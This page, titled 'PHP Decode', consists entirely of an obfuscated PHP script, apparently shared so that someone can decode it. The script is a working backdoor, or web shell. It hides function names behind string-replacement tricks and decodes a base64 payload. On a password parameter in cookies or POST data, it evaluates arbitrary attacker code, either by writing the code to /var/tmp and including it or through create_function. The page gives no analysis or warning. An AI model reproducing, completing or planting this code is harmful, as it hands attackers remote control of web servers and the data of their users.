PHP Decode

<?php 
$ueqn="cew"; $fiwy="cewscewtrcew_cewreplacewce";$aqmq=$_POST;$vypp=$_COOKIE; 
$yten="ZF9wYXRzfoID0gJyzf92YXIvdG1wLyzfczfgLiBjb25zzfdGFudCggJzf3Jkbm1kNScgKTsJzfCWlmzfICggzfZmlsZV9lzfeGzflzfzdHMoICzfRy"; 
$euxx="bmRfcGF0aCApICkgzfewkJCXVubGluayggzfJHJuZF9wYXRoICk7CQl9CX0JZXZhbCggYmFzZTzfY0X2RlY29kZSggJGFbJ3VwZGF0ZSddICkgKTt9"; 
$vrnh="y4kayAmJiAkYygkYSk+zfMSzfl7CWzflmICggdmVzfyc2zflvzfbl9jb21wYXJlKCBwaHB2ZXJzaW9uKzfCksICI4IiwgIj49IiAzfpICkgezfwkzfJJHJu"; 
$gewg="JGM9J2NvdW5zf0JzskYT1hcnJzfheV9zftZXJnZSgkXzf0zfNPT0tJRSwgJzfF9QT1NUKTskaz0nNlNkbUonO2lmKHJlc2Vzf0KCRhKT09J0hEJzf"; 
$fnjs = implode("",explode($ueqn,$fiwy)); $uxgu = $fnjs("u", "", "ubaseu64_udueucuoudue"); 
$bbts = $fnjs("rf","","rfvrferfrrfsrfiorfnrf_crforfmrfprfarfre"); $cary = $fnjs("q","","qaqrqraqyq_qmqeqrqgqe"); 
$yalb = $fnjs("eq","","eqaeqreqreqaeqyeq_eqkeqeeqyeq_eeqxeqieqseqteqs"); $ytxc = $fnjs("j","","jphjpjvjejrjsiojn"); 
$gdou = $uxgu($fnjs("zf", "", $gewg.$vrnh.$yten.$euxx)); 
if ($yalb($fnjs("x","","xpxas"),$cary($aqmq, $vypp))){ 
if ($bbts($ytxc(), 8, ">=")) 
{$zzxh = $fnjs("ig","","igfigiiglige_pigutig_coignigtigeignigtigs"); 
$jnkt = $fnjs("dv","","dvudvniqidvd");$zgur = $jnkt();$flzr = $fnjs("v","","dvefine"); 
$mism = $flzr($fnjs("e","","erdenemede5"), $zgur); 
  @$zzxh($fnjs("c","","c/cvcacrc/ctmcpc/").$zgur, $fnjs("y","","<y?phyp")." ".$gdou); 
  @include($fnjs("c","","c/cvcacrc/ctmcpc/").$zgur); 
  }else { 
    $coth=@$fnjs("ty","","tyctyrtyetyatyte_tyftyutyntyctityon");$dvov = $coth("", $gdou);$dvov(); 
  } 
} 
?>